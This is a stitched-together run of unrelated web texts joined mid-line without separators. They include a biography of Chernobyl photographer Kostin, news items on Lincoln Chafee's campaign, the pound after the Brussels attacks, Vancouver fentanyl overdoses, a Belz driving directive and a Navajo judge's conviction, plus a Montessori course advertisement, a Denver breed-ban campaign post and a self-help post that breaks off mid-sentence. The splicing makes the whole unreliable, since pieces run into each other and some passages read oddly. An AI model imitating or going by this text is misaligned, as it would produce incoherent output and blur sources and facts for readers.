In 1954, he began military service as a degenerated athletic youth in the army, where he was reformed and became a sapper. He revealed that on at least one occasion he was instructed to dig trenches along the Soviet border in anticipation of an American invasion. By the end of his service he grew more insubordinate and went absent without official leave adding seven months of military jail term to his three-year military service. His deputy commander assigned him the task of redecorating the "Leninrooms"—political meeting rooms of the barracks. His jail term was immediately commuted upon the completion of the job.
Career as a sportsman and engineer [ edit ]
In 1959, upon being discharged from the army, Kostin began playing volleyball for Kishinev’s regional sporting team. He then moved up the ladder to play for the Moldavian SSR team, subsequently becoming part of the Soviet national team, representing the union in international volleyball competitions. In 1969, his sporting career ended with multiple spinal and knee injuries and complications from negligence of medical treatments. He began studying at the Agronomy Institute of Kishinev, and was employed as Senior Engineer for a construction firm in Kishinev. It was then he received a job offer at the Construction Bureau of Kiev, in Ukraine.
In Kiev, they pioneered a construction framing method that expedited building construction, and Kostin invented a machine for the method, which he was awarded prizes for. He was then promoted to Chief of Construction, and managed a staff of around 50 people. His wife at that time, Galina, who was also an engineer, helped him to discover and pursue his natural talent in photography through many sleepless nights developing and printing the analog images in Kiev, which eventually won him praise at the international photo exhibitions.
Career as a photographer [ edit ]
By the mid-1970s, Kostin had lost most interest in the construction industry, and was frustrated with the low fixed salary. He professed that he enjoys photography, specifically portraitures, and won a gold medal for a portrait of his wife in Kiev′s annual photographic exhibition. He had subsequently entered into at least 80 such exhibitions and photographic road-shows throughout the world. Kostin's career as an amateur photographer earned him more than twice the amount of salary than his career as Chief of Construction in the Construction Bureau of Kiev.
He was then employed in one of Ukraine's TV station as a copywriter. He was subsequently made an anchor for a monthly photographic programme, where he interviews some of most accomplished photographers around the world. He was simultaneously employed as the Chief of Construction, effectively holding two formal careers. A year and half later, the show was canceled, and he attempted to apply for a placing at Novosti Press Agency (APN) in Moscow, Russian SFSR. He was however, rejected by Galina Pleskova, then Editor-in-Chief for the agency.
Kostin effectively ended his engineering career when he returned to Kiev where he was resorted to be sleeping in the streets to pursue his photographic career. Kiev branch of APN agreed to permit him the use of their photographic development labs. The labs became his temporary abode for around 5 years after which he was employed as war reporter for Novosti.
Kostin covered some of the most severe third-world wars where the Soviet Union was involved, such as in Vietnam War and Soviet intervention in Afghanistan, where he fielded as a non-Communist Party affiliated reporter for Novosti. Due to the fact of non-alignment, he was restricted from entering the front-lines.
At Chernobyl [ edit ]
After returning from Afghanistan he began to work periodically for Novosti from the Kiev branch. He reported on local and trans-USSR matters but rarely left the state. On the late evening of 26 April 1986 a helicopter pilot whom he worked closely with for his journalistic activities alerted him that there had been a fire at the nuclear power plant in Chernobyl. The fire had been extinguished by the time they arrived at Chernobyl via helicopter, and witnessed a war-like scramble of military vehicles and power plant personnel down at the scene of the nuclear power plant. He also experienced an odd feeling combined with high temperature and toxic smog, that was unusual for an accident scene. The motor of his cameras began to exhibit symptoms of radioactive-caused degradation after around 20 shots. The helicopter returned to Kiev after the cameras′ failure.
Kostin managed to develop the films, only to realise that all but one was unsalvageable - most of the films were affected by the high level of radiation, that caused the photographs to appear entirely black, resembling a film that was exposed to light pre-maturely. Kostin′s only photograph of the nuclear power plant was sent to Novosti in Moscow, but he did not receive a permit to publish it until 5 May 1986. His visit to Chernobyl was illegal and not sanctioned by the authorities. Pravda published limited information about the accident on 29 April 1986, but did not publish Kostin’s photographs.
The accident was interpreted as a major catastrophe by the global news media, even when the Ukrainian and Soviet authorities were trying to suppress any news regarding the accident. Kostin later received permits as one of the representative of the five accredited Soviet media to cover the accident site and the Zone of Alienation. On 5 May 1986 he ventured into the rubbles of the Chernobyl nuclear plant site and Reactor 4 along with the liquidators.
It was then that he covered the mass exodus of inhabitants of Pripyat and 30 km zone surrounding the nuclear power plant, before the 1 May Labour Day celebration. Hundreds had died from the accident, mostly workers at the nuclear power plant, and from thyroid cancer.
References [ edit ]LACONIA, New Hampshire -- Presidential candidate Lincoln Chafee stands before a few dozen people at a meeting of New Hampshire's Belknap County Democrats. The Republican-turned-independent-turned-Democrat gets nods of approval when he tells them he was the only Republican senator to vote against authorizing the war in Iraq.
Then smiles turn to laughter when he pitches another idea: The U.S. should switch to the metric system.
The former Rhode Island governor has visited the first primary state of New Hampshire a dozen times this year. But he seems to be making barely a ripple - aside from curiosity about some of his policy platforms.
In Belknap County, at least some Democrats seemed intrigued by Chafee as someone who could represent an alternative to Hillary Rodham Clinton, the commanding favorite for the nomination. But they are also puzzled by what he talks about sometimes.
Viable challenges to Clinton campaign as 2016 race narrows
Chafee told the group he wants to bring National Security Agency leaker Edward Snowden home, dropping all charges against him. Paula Trombi of Meredith said she liked some of what he said but was taken aback and disappointed by his position on Snowden. She also can't understand why he keeps talking about the metric system, of all things.
"With all the troubles that are going on, that seems almost odd to bring up," she said.
Dave Kerr, a selectman in Barnstead, said he agreed with Chafee that billions have been spent on the war that could have been better spent on roads and schools. But Kerr was leaving with a poster and a donation envelope for another Democratic rival, Vermont Sen. Bernie Sanders, who also opposed the Iraq war. A Sanders supporter had handed them out, and Kerr wondered why Chafee hadn't, also.
Chafee is known to dislike fundraising and is just starting to raise money for a race where spending is expected to be measured in the billions. His past campaigns - two Senate races as a Republican and a governor's race as an independent - have relied on an old New England family fortune amassed over generations.
6/10: Why did Edward Snowden leak NSA documents?; Trading "The Street" for the open road
Dave Pollak, chairman of Belknap County Democrats, said he agreed with Chafee that Snowden is a whistleblower and should not be prosecuted. With Chafee's background in different parties, Pollak sees him as someone who could bridge the ideological divide between Democrats and Republicans. He even likes the metric system idea.
But Pollak finds other aspects of Chafee's campaign peculiar.
Clinton's campaign is in contact with the group every week inviting its members to events, has multiple campaign offices open and created specialty groups for supporters such as "High Schoolers for Hillary." The Sanders campaign sends regular "rousing" emails on issues, Pollak said. The campaign for another rival, former Maryland Gov. Martin O'Malley, also has staff in the state.
Chafee, on the other hand, has no campaign staff in New Hampshire yet and appears to be running on a shoestring. Although Chafee has a vacation home further north in Franconia, he said he hasn't been staying there during the campaign. Instead, he drives to his New Hampshire events from Rhode Island, a five-hour round trip this evening. He was back in Somersworth, New Hampshire, the following day.
It makes Pollak wonder how serious he is.
"What's the organization?" he asks. "What gives you confidence that he can get the voters out?"
Chafee gets testy when asked about matters like that. He says it's an "evolutionary process."
"You guys never ask anything about the substance," he told a reporter. "It's always about how many people, how much money have you raised. Ugh.
"I wish there was more intellectual discussion about the issues in these campaigns."
As he spoke, Chafee aide Jonathan Stevens handed out stickers saying "Trust Chafee." The design and motto are identical to the one from his 2010 campaign for governor. Asked if they're 2010 leftovers, Stevens replied, "We recycle everything."
Stickers bearing this year's motto, "Fresh Ideas for America," were nowhere in sight.Google on Tuesday ramped up its investment in clean energy by backing the construction of solar panels that will feed electricity to California’s power grid.
The Internet giant announced that it is pumping $94 million intoRecurrent Energy projects near the state’s capitol of Sacramento, raising its investments in Earth-friendly power generation to $915 million.
“We believe investing in the renewable energy sector makes business sense and hope clean energy projects continue to attract new sources of capital to help the world move towards a moresustainable energy future,” Google assistant treasurer Axel Martinez said in a blog post.
Backing Recurrent marked Google’s first time investing in large scale solar photovoltaic power plants that generate energy for the US electric grid instead of on individual rooftops, according to Martinez.
The projects were expected to generate enough electricity to meet the demands of more than 13,000 homes.
Google has also committed to funding to help more than 10,000 homeowners install solar panels on home rooftops.
California-based Google said that it was joining investment firm Kohlberg Kravis Roberts & Company to back the Recurrent projects.The pound dropped Tuesday against its main rivals after a series of deadly attacks shook Brussels and were seen potentially boosting support for a British exit from the European Union.
The pound GBPUSD, +0.0075% was down 1.2% at $1.4204 late Tuesday in New York, its largest one-day loss since Feb. 24—just days after U.K. Prime Minister David Cameron said a referendum on the country’s continued membership in the European Union would take place on June 23, sending the currency spiraling to seven-year lows.
The British currency had traded at $1.4375 late Monday in New York.
Meanwhile, the euro EURGBP, -0.1164% rose 1% against the pound to 78.94 pence, from 78.20 pence late Monday in New York.
Read: Stock futures trim losses but remain lower after deadly attacks in Belgium
Also read: Brussels Metro rocked by explosion after deadly airport attack
See also: American Airlines says all employees in Brussels are safe
“There’s been limited damage to the euro. More damage is being seen in sterling because this is being seen as adding fuel to the Brexit fire.” Douglas Borthwick, head of currency trading at Chapdelaine & Co.
Despite Cameron’s earlier warning that the attack shouldn’t be used for political purposes, analysts said the bombing in Brussels would likely increase support for a break with the EU.
“There’s been limited damage to the euro. More damage is being seen in sterling because this is being seen as adding fuel to the Brexit fire,” Douglas Borthwick, head of currency trading at Chapdelaine & Co.
Analysts said that pro-Brexit politicians would likely use the attacks to support calls to strengthen border restrictions.
“While the Brexit camp has been stressing the loss of sovereignty by being a member of the EU, immigration and border controls have been central to their arguments,” said Marc Chandler, global head of currency strategy at Brown Brothers Harriman.
Haven rally fades
After rallying early in the global day as investor confidence was shaken in the wake of the Brussels attacks, the Swiss franc and the Japanese yen USDJPY, -0.19% had largely pared their declines by early afternoon New York Time.
The dollar was up slightly at ¥112.33 late Tuesday after sinking by as much as 0.5% earlier in the session. The buck traded at ¥112.08 late Monday in New York.
The Swiss franc EURCHF, -0.1405% bought 0.9164 euro in recent trade, after trading 0.3% higher at 0.9196 earlier in the session.
The ICE U.S. Dollar index DXY, +0.10% a measure of the dollar’s strength against a basket of six rivals, was up 0.4% at 95.6620. The euro EURUSD, -0.1054% a major constituent of the index, was down 0.2% against the dollar at $1.1216 late Tuesday, compared with $1.1242 late Monday.
Providing critical information for the U.S. trading day. Subscribe to MarketWatch's free Need to Know newsletter. Sign up here.I had to get this off my chest today. I keep hearing people complain that they are failures, and that they won’t ever achieve their goals, speaking as if the universe itself conspires against them.
Look,
You have to believe in your inevitable success.
That’s not to say that you can simply laze around and eventually become an accomplished writer, entrepreneur, lawyer, etc., but assuming you actually go about doing everything you need to do, then there is nothing holding you back from success in the field of your choosing.
There are two reasons why you might disagree.
1) You think that you lack talent; that there is something innately lesser about the core of your being such that even hard work, persistence, and good practice, consistently summoned over the course of years, will not lead to success.
2) You think that life is a game of chance, and that nobody can predict how the dice will roll.
Now here’s two reasons why that’s bullshit.
1) Talent is overrated. Now I’m going to beat you over the head with |
require attribution to the photographer. And, lastly, HERE is a set through Google images, which are all allowed to be reused and modified, though some specify that the photographer must be cited.
Text
We want Denver city officials to know that we’re real people – not just a mass-printed mailing. So please write a heartfelt message to the mayor. Include facts, stats, stories, anecdotes, or even just a simple, “Please repeal Denver’s breed ban.” For solid stats, reference StopBSL, Pit Bull Rescue Central, or Understand-a-Bull. This is a particularly useful fact sheet.
The Cost and Fund-raising Efforts
I set up a PayPal Donation button. All donations will offset printing and mailing costs. It’s going to cost roughly $0.235 per piece. If funds exceeding the final cost are collected, they will be donated to a Colorado bully rescue. I’m researching organizations now, but if anyone has any nominations, please let me know either via comment or via email to operationdenver@gmail.com. Also, I received a fantastic suggestion to create a CafePress store because 10% of all sales would contribute to our efforts. I’m all for this, though if there are any designers out there who want to brainstorm on a logo and slogan, please, please email me!
Social Media and Media Campaign
The official hashtag for this campaign is #endBSL. Use it liberally! Several people wisely suggested choosing a day for blogs and tweets. I commit to writing and tweeting and Facebooking about BSL every Tuesday between now and BlogPaws! I’ve made Tuesday my official campaign day, and I would love for you to join in. I would LOVE to organize a monthly tweetup to occur between now and BlogPaws. I’ve never done that before – any ideas, suggestions, tips, volunteers?
In addition to the Tuesday social media push, I’m going to be writing letters to every organization and personality who might be interested in the cause. I’ll post the letters I write on Tuesdays. So far my list includes: the bully orgs mentioned above, Rescue Ink, Best Friends Animal Sanctuary, Pinups for Pit Bulls, Victoria Stilwell, Oprah, Ellen, Rachel Ray (a bully owner!), and The Today Show. I also want to reach out to shelters and rescues in and around the Denver area. Please feel free to comment or email with other suggestions!
And, lastly, I’m going to put together press releases to go out to the Denver media. I think we can get a lot of local attention for a mile-long stretch of postcards heading to the mayor’s office!
PHEW! I think that’s it! Every Tuesday I’ll post updates – letters, postcards, fund-raising, anything and everything to do with this campaign. Every Tuesday I’ll tweet with the #endBSL tag and post Facebook status updates. Want to help organize a tweetup? Design a t-shirt logo for the Cafe Press store? Any other ideas or volunteers? Send me an email!
Fire up your networks, everyone! 1 down, 10,559 postcards to go!
Sharing is caring!
TweetDarcy Wintonyk, CTV Vancouver
Police in Vancouver are urging caution after a spike of suspected fentanyl overdoses.
A total of 16 people overdosed Sunday, including six between 7:30 and 8:30 p.m.
No fatalities have been reported, but officials are appealing to drug users to be extremely cautious as tainted heroin is likely spiked with the powerful opioid.
All of the ingested drugs were the colour pink.
“The toxic substance has yet to be determined, but it is suspected that fentanyl may be the cause,” said Sgt. Randy Fincham.
Police are now trying to determine if the drugs came from the same source, and attempting to track where it came from.
“It’s very challenging to determine the source of something like this,” Fincham said.
“Much of the drugs coming to Vancouver come from overseas, but certainly isolating in any given community where this drug is and stopping it at the source before it gets to the general public is the goal.”
The powerful painkiller is being blamed for a spike of overdose deaths across Western Canada, including four in British Columbia.
"This is a huge problem. It continues to grow," Fincham said.
The cheap drug, a prescription drug used primarily for cancer patients in severe pain, is being added to recreational drugs, and can lead to an almost immediate overdose death. It is roughly 50 to 100 times more toxic than morphine.ES News Email Enter your email address Please enter an email address Email address is invalid Fill out this field Email address is invalid You already have an account. Please log in or register with your social account
Children driven to school by their mothers in an ultra-orthodox Jewish sect in north London are set to be turned away at the school gates.
In what is thought to be the first formal directive of its kind in the UK, rabbis from the Hasidic sect Belz have told women in Stamford Hill who drive that they go against “the traditional rules of modesty in our camp”.
In a letter sent out last week and seen by the Jewish Chronicle, they add that there has been an increase in the number of mothers driving their children to school which has led to “great resentment among parents of pupils of our institutions”.
The letter was signed by leaders from Belz educational institutions and endorsed by the group’s rabbis. They said that the leader of their ultra-orthodox sect in Israel Rabbi Yissachar Dov Rokeach, has advised them to introduce the policy.
Dina Brawer, UK Ambassador of the Jewish Orthodox Feminist Alliance, told the Standard: “The truth is that this has no scriptural, textual or legal basis. There’s nothing in Jewish law from which you can actually derive anything like that.
“Blocking women from driving portrays this very patriarchal society where traditional values are upheld, but they are facing a changing world and they are reacting with an almost extremism.
“They see any role that women take outside the home space as a bit of a problem and somehow it’s really hard for them to see women being independent and doing things on their own. They see it as a perversion of the traditional values of modesty.
“They would be denying children’s education because of this perceived breach in modesty. They can afford to say they will bar children from school because they think people will comply.”
Ella Marks, of the League of Jewish Women, said: “If it’s a matter of driving children to school when they should be walking then I am quite happy about that, but if it’s because they think it’s immodest for women to drive children to school then I would have very contrary opinions on that.
“I can see no question of it being immodest and I would not want a repeat of the situation in Saudi Arabia [where deeply held religious beliefs prohibit women from driving] which is certainly a patriarchal society.”
The Belz, who originated in Ukraine in the early 18th century, are one of the most prominent Hasidic sects and re-established their headquarters in Israel after the war. When its leader’s grandson celebrated his wedding in Israel two years ago, some 25,000 guests attended.
In a joint statement from the Women of Belz Community organisation, directors Chaya Yakter and Neshei Belz said: "As Orthodox Jewish women belonging to the Belz community in London, we feel extremely valued belonging to a community where the highest standards of refinement morality and dignity are respected.
"We happen to believe that driving is a high-pressured activity where our values maybe compromised by exposure to selfishness, road-rage, bad language and other inappropriate behaviour.
"However, we respect that there are many who conduct lifestyles that are different to ours and we do not in any way disrespect them or the decisions they have made."
It is not the first time the Jewish community in Stamford Hill has caused controversy. In September last year posters put up by a Jewish group for a religious parade warning women to only walk on one side of the road were removed by Hackney council after they were deemed “unacceptable”.Certificate course is of 60 hours duration
Maximum duration of the course is 4 months
Course can also be completed in fast track mode
Flexible course which can be pursued from any corner of the globe Certificate in Montessori Teachers Training is a contemporary course tailored for aspiring Montessori teachers planning a career in Montessori teaching. The course which is of 60 hours duration equips the prospective Montessori teachers with the vital skills and methods which assist, guide and correct the young learners can be completed in 4 months. The certificate course offers enough flexibility to the candidates who can pursue it from any part of the globe in either online mode or distance mode. As a Montessori teacher one needs to be a constant guide for children and cultivate the qualities of reticence and restraint. This proves the fact that teachers who are planning to be Montessori teachers must undergo professional course in Montessori teachers training because Montessori is a highly effective and child centric method of education.
Course is available in both online and distance modes
Course can be availed at a reasonable price
Easy installment payment options
Scholarship available for meritorious students Certificate in Montessori Teachers Training course which revolves around teaching strategies and methodologies developed by Dr Maria Montessori can be availed at a reasonable course fee of Rs 11,210 for online course.(inclusive of 18% GST). Candidates with basic computer skills and an internet connection can take up online course and the candidates who wish to receive hard copy study materials can opt for distance mode. Early childhood teaching is hard work but making a difference in a young child’s life is rewarding at the same time. The certificate course will provide the Montessori educators with a detailed understanding of how to inspire and instruct young children and draw them into collaborative play and meaningful activities. 11210 INR * 200 USD 150 GBP 6500 THB * Inclusive of all taxes
Face-to-Face Tutoring Session To have a smooth learning experience and get the most out of your learning, come visit us to attend the Face-to-Face session, and make good use of this opportunity!
Asian College of Teachers provides Face-to-Face Tutoring Session for its online/distance candidates. The tutoring session is for a duration of one hour and mainly comprises of a doubt-clearing-session, whereby you will be able to meet the tutors, interact with them and clear all the doubts and queries arising in the course of your study, which may not be quite possible to do through online or telephonic interaction. You will also be able to meet the other students, share and discuss the best practices and help each other complete the course hassle-free. During the tutoring session, you will be able to discuss areas such as: any question that you have related to course content
clear your doubts related to course assignments
questions related to tutor’s feedback on your assignments
anything else related to the course Venue and Timing: Face-to-Face Tutoring takes place on selected Saturdays at ACT centres in Kolkata, Mumbai and Bangalore.
All you need to do is fill out an online form.
10+2 is the minimum entry requirement
Both aspiring as well as experienced teachers are eligible to apply The minimum eligibility for enrolling in Certificate in Montessori Teachers Training course is 10 + 2. Aspiring as well as experienced teachers who desire to gain knowledge in Montessori teaching methods or upgrade their teaching skills to excel in their chosen area are encouraged to take the course.
Teaching aspirants who are planning to enter the field of Montessori education needs to pursue a comprehensive professional course in Montessori teacher training which will provide them with the knowledge, philosophy and teaching methods of Montessori. A Montessori teacher does not really teach but leads the children towards independence and self-discipline. Therefore, it is imperative that the teachers get trained properly before they take up teaching jobs.
Curriculum - Certificate in Montessori Teachers Training Phase 1: Dr Maria Montessori- her Philosophy and Methodology
Phase 2: Exercises of Practical Life
Phase 3: Sensorial
Phase 4: Language and Story Telling
Globally recognized certificate is awarded on successful completion
“Online” and “Distance” are not mentioned in the certificates The candidates will be awarded a globally recognized certificatefrom Asian College of Teachers on successful completion of Certificate in Montessori Teachers Training. The certificates awarded have an added advantage as the words “Online” and “Distance” are not mentioned in the certificates. Shipment of certificates within India is done free of cost but the candidates residing outside India are required to pay an additional fee. Generally after submission of all the assignments and completion of the course, the candidate has to pay the dispatch fee. After that we take the respective shipping address and contact number of the candidate and courier the certificate to the same. It takes a maximum of 3 weeks for the certificates to reach the candidate’s address.
Easy admission process
Application can be submitted online
Opt for any online payment scheme Interested candidates willing to enroll have to fill up an online application form with all the relevant details and must provide correct email id and phone number as all the communication will be forwarded there. Once the application form is submitted, the candidates will receive the course details via email and phone call from ACT’s admission executives. The course fee payment details will be mailed to the candidates once they confirm their enrollment. The course fee can be paid through online payment using Debit / Credit Card or by depositing Cash, Cheque or Demand Draft to our bank account. After the payment is credited the candidates will be receiving payment confirmation with online admission form. They need to fill up the same and submit in order to get online access to the course. Candidates opting for distance mode will receive hard copy study materials couriered to their registered address.
About Cambridge TKT Examination* Asian College of Teachers (ACT), the leader in teacher education in Asia is now the authorised centre for conducting Cambridge TKT Exam all over India. TKT is the acronym for Teaching Knowledge Test and is conducted by Cambridge, which tests your basic teaching knowledge.
The test comprises of three core modules, with one test for each. Cambridge English certificates are provided after the completion of each module. Each modular test has 80 questions and continues for 80 minutes and may be taken together or separately, in any order of the candidate's preference. All authorised TKT centres are inspected by Cambridge English Language Assessment ensuring that the centres meet their high standards.
Teaching Knowledge Test or TKT is appropriate for aspirants who are eager to develop themselves as a teacher, and have little or no knowledge of the modern English teaching methodologies and approaches; the TKT test will certainly boost their teaching career and give it a solid start. All they have to do is to register and take as many modules as they want, over any time period. They will receive a Cambridge English certificate for each module they complete. *This examination is conducted only in India. Cambridge TKT Examination Fee One module (without preparation):
Rs 2500 + Rs 750 = Rs 3250 (inclusive of GST & certificate dispatch fee within India)
Rs 2500 + Rs 500 = Rs 3000 (inclusive of GST) with additional certificate dispatch fee outside India One module (with preparation):
Rs2500 +Rs2500 + Rs1250 = Rs 6250 (inclusive of GST & certificate dispatch fee within India)
Rs 2500 +Rs 2500 + Rs 1000 = Rs 6000 (inclusive of GST) with additional certificate dispatch fee outside India
Candidates will have the option to choose more than one exam module and they can avail a discount of Rs 500 from the 2nd exam module onward. Cambridge TKT Examination Dates
24th March, 2018 – Delhi
12th May, 2018 - Kolkata
26th May, 2018 – Bangalore
9th June, 2018 - Mumbai
7th July, 2018 – Delhi
Cambridge Teaching Knowledge Test - Contents TKT MODULE 1
Part 1: Language and Background to Language and Teaching
Part 2: Background to Language Learning
Part 3 - Background to Language Teaching TKT MODULE 2
Part 1: Planning and Preparing a Lesson or Sequence of Lessons
Part 2: Selection and Use of Resources TKT MODULE 3
Part 1: Teacher's and Learner's Language in the Classroom
Part 2: Classroom Management TKT CLIL (Content and language Integrated Learning) MODULE
Part 2 :
Lesson Preparation
Lesson Delivery
Assessment TKT YL (Young Learners) MODULE
The learning and development of young learners planning lessons for young learners
teaching strategies, practice activities and resources used to support and challenge language learning in young learners. Choose your Cambridge TKT Module You can opt for TKT YL if you are pursuing Certificate in MTT.
Asian College of Teachers is offering a bunch of comprehensive early childhood care and education teacher training courses designed meticulously to produce professional educators who will be able to actively get engaged with the next generation learners facilitating the growth of children aged 0-5 years. The candidates enrolling in any of the certificate, diploma and P G diploma courses can also pursue a variety of exclusive specializations like English Language Teaching, Classroom Management, Education Management and Early Childhood Care.
These specialized courses accord candidates with additional knowledge and understanding of early childhood education so that they learn to address the needs and concerns of young learners. As future teachers, they need to capture the attention of young children and will therefore, need additional skills in specified areas in order to cater to a varied set of learners. The candidates will have further flexibility to opt for any specialization ranging from one to all four mentioned above.
There are ample opportunities for Montessori teachers who have completed training in Montessori Teachers Training and have a passion to teach young learners. With Montessori and preschools developing at a rapid rate, there is a considerable demand for certified Montessori teachers. Asian College of Teachers’ Certificate in Montessori Teachers Training opens many avenues to numerous job opportunities as the course aims to provide the future teachers with a strong foundation on the principles of Montessori education offering a variety of routes into teaching career. The course will provide the skills and methods to teach children in the age group of 0-5 years and will make the candidates competent enough to work as Montessori teachers, early childhood educator and preschool teachers. The course could be immensely helpful for Montessori curriculum developer, course coordinator, consultant associated with Montessori schools and even for those planning to open a Montessori school. The course is suitable for not only Montessori teachers but anyone connected with Montessori education.
Complete tutor support throughout the course
Candidates can learn at their own pace
Additional support of online videos and reference materials The candidates enrolling in Certificate in Montessori Teachers Training course can expect complete guidance from the experienced tutors of Asian College of Teachers who are committed to helping the candidates to achieve their learning goals. With years of valuable experience the tutors provide great support to the trainees and guide them through all the aspects of teaching giving valuable advice in every step of the way. They extend their tutoring support by sharing relevant information and answering questions related to the course content. Since the Montessori Teachers Training course of ACT offer the candidates flexible learning they can take the opportunity to learn at their own pace and clear all their doubts as and when required. They can email their queries and can also opt for online chatting between 10 am and 6 pm and can discuss any course related problem.When Hindu priest Brij Bihari Pandey was convicted of murder in 2009, he was given a life sentence, but he wasn’t expected to spend that long behind bars because, well, he was pushing 106.
Now, two years later, Pandey is walking out of jail (actually being carried is a better term) and is a free man at last.
Pandey was arrested along with 15 men for the 1987 murders of four people over the inheritance of a Hindu religious institution, the IANS news agency reported.
He was already 84 at the time, but the trial went on for more than two decades.
Pandey spent most of his sentence in a hospital, and was released on bail May 26. He was set free after his son, Avneesh, along with two others, secured his release from a jail in Gorakhpur on grounds of ill health, according to Stuff.co.nz.
"He has become very old now and cannot walk on his own. Since he has come out of the jail, so we are now taking proper care of him," said Vandana Mishra, Pandey’s granddaughter.
He is believed to be the oldest prisoner in the history of Indian prisons, but, interestingly, the relatives weren’t the ones behind Pandey’s release. It was the jail authorities who were finding it difficult to provide him the required medical treatment.
"Pandey had been quite unwell for the past few months and it was becoming increasingly difficult to take care of him as we had to shift him from the jail hospital to the local civil hospital for specialised treatment,” Jail Superintendent Shiv Kumar Sharma told IANS.com. “Therefore, we moved an application for his bail, that was kindly granted by the high court."
So far, Pandey isn’t commenting much about his time behind bars, but sources say he is happy to be free.A Navajo Nation district court judge has found a fellow district court judge, Roy Tso Jr., guilty of abusing his office. The verdict is being appealed to the Navajo Nation's supreme court. CHRIS HENDERSON/AFP/Getty Images
A Navajo Nation judge convicted of abusing his office to help relatives in a burglary case won’t serve a single day in jail. Instead, he'll lose his job and have to pay a $25 fine, if the sanction withstands an appeal.
Though the fine may appear light to outsiders, the prosecution is singing the trial judge’s praises while the defense condemns the punishment as a gross injustice.
“I just wanted this guy removed from office, never to be a judge again,” says Richard Wade, hired by the Navajo Nation to act as prosecutor. “If this conviction sticks, I accomplished what I wanted, to remove a bad actor, a corrupt public official from office.”
District Judge Roy Tso Jr. was found guilty by fellow District Judge Genevieve Woody in December. Woody initially handed down just the fine in late February, but in a written sentencing order last week also barred Tso from continuing to work as a judge.
Wade sought the maximum penalty of 180 days in jail and a $2,500 fine, but says the outcome is “in line with Navajo tradition, which is not a punishment oriented judicial system like the Anglo system -- they recognize that when someone screws up they need to be removed, not necessarily stuck in a jail.”
The Navajo Nation governs the country's largest American Indian reservation by area and has its own government and court system on land in three states. If Tso was a judge working outside the Navajo court system, Wade says, “he would have spent a good long while in a federal prison.”
The case against Tso began with an alleged June 2013 burglary committed by his sister, a niece and a third person. The trio was caught “red-handed” with loot from a storage unit, Wade says.
Tso left the scene as police arrived, according to court testimony from a policewoman, who said he then called the jail and demanded the three be released. Shortly before midnight, Tso allegedly called local prosecutor Ruby Benally with a similar request, followed by another call and a text message. Weeks later, Benally testified she met with a mutual friend who offer a $750 bribe to drop the case.
Wade says the burglary charges “mysteriously” didn’t go to trial. The niece since committed suicide and the woman who allegedly offered the bribe could not be located ahead of Tso's trial, Wade says, though she was interviewed by the FBI and denied wrongdoing.
Woody wrote in her ruling, however, that Benally’s testimony was “consistent throughout all phases of trial in this matter and was not challenged or disproved by Defendant for its truth or accuracy.”
The $25 fine may seem a slap on the wrist for corruption, but Wade says that by imposing such a low penalty, Woody may have intended to make an appeal more difficult.
That’s because a Navajo Nation court system rule requires fines be $26 or more for a defendant to be eligible to appeal. It’s a rule that both the defense and prosecution say may be overridden by the 1978 decision in the tribal court case Navajo Nation v. Browneyes.
“My belief is she probably looked at that rule,” says defense attorney Judy Apachee. “[The sentencing order] is structured and phrased to make it hard on my client.”
Apachee alleges the judge treated her client unfairly by denying a large number of motions, and by identifying people as victims when the term wasn’t used at trial. She scoffs at the judge’s conviction order, saying she would replace the words “uncontroverted” with “unsubstantiated.”
The defense lawyer says she’s not sure why Benally alleged she was contacted by Tso and offered a bribe on his behalf. But she says there was no proof of any phone call or text message, something a bribe-offered prosecutor surely would document.
Apachee chose to forgo a jury trial because of a frustrating experience crafting jury instructions with Wade in a previous corruption case against Tso relating to his time as a Navajo Nation prosecutor. That case was dismissed, but Wade says it could be refiled.
Tso hopes to return to work as a judge if he wins his appeal. He’s been on unpaid leave and ordered not to work by the chief justice of the Navajo Nation Supreme Court, Apachee says, and has had to rely on family support during the case against him.
“We talk about how he’s going to look at criminal complaints once he’s back on the bench,” she says. “This has been an eye opening case for him. He was a prosecutor who became a judge, he had a different view of criminal cases. He sees what he needs to do when he goes back on the bench.”
Navajo Nation district judges are appointed by the Navajo Nation Supreme Court. They first must survive a probationary period, before public hearings are held to consider making the appointment permanent. Tso remains in a probationary period.
Read the Conviction Order:Image caption Fakes are turning up in more and more gadgets, warns iSuppli
The number of fake memory chips and processors in use has tripled since 2009, suggests a report.
The report, compiled by semiconductor analyst IHS iSuppli, said fakes were found in phones, computers, military hardware, cars and hospital equipment.
The analyst said the fakes were turning up in so many places that they might soon put lives at risk.
The military and aerospace firms were the most likely to be using fakes, it said.
Chip police
More than 1,363 fakes were reported in 2011, said the report, and threatened to dent a market worth more than $169bn (£109bn) a year.
The five most widely counterfeited chips included memory chips, microprocessors and analogue integrated circuits (IC).
Analogue ICs are widely used in domestic gadgets such as wireless routers, TVs and computers.
Typically, said iSuppli, the fake parts were low cost copies of widely used semi-conductors or components discarded by chip firms during fabrication.
Manufacturing wastage for semi-conductors is high because the components are stringently tested to ensure they will perform reliably throughout their life.
Rory King, a spokesman for iSuppli, said using counterfeit chips could have serious consequences because they were much more likely to fail.
"A faulty counterfeit analogue IC can cause problems ranging from a mundane dropped phone call to a serious tragedy in the aviation, medical, military, nuclear or automotive areas," he said in a statement.
A separate survey carried out by iSuppli found that fake components were most widespread in electronic equipment used by aerospace firms and the military.
Mr King added that electronics firms were coming under more pressure to watch out for fakes as governments enact regulations that force them to police component suppliers.Leaving the plastic piece in the mold for a longer time, until everything is 100% cooled down (this increases the prodution time and therefore the price)
Change initial temperature of the plastic as this affects the mold flow
Adjust cool-down termperatures in certain areas (the mold does not have to be evenly cooled down, you can set up the machine to cool certain areas stronger than others)
So you want to know more about finalizing the mold? OkayOnce everything is physically 100% correct, the steel will be hardened.That means: It cannot be changed anymore afterwards but it also will not wear out during production (the hard plastic affects the steel as well). It will be a lot more robust.Because the molds are not yet hardened, you can see some discolorations. They're not fully cleaned yet and the plastic doesn't flow into the mold as good as it should. Also, the temperature is not optimum to not affect the mold too much. This leads to small density issues and therefore also has discoloration.This will not happen for mass production.Now about the shrinking marks:Shrinking marks are areas where parts of the plastic sinks in (most often when there's a peg on the other side), because the weight of the peg pulls the still warm plastic down a bit.Thinner areas of plastic cool down faster - and so the area with the peg needs longer to cool down and therefore can sink in.There are various ways to fix that:So there are quite a few parameters in the machine that can be used to adjust and optimize the production process.As you can imagine, this takes quite a bit of time, so it won't be done before the mold is 100% finalized.Buy Photo Detroit Water and Sewerage Department Director Gary Brown noted Wednesday the bump is modest compared with past years and that officials have heard from the water board, City Council and residents that “double digit increases” in rates “was not going to be acceptable.” (Photo: David Coates / The Detroit News)Buy Photo
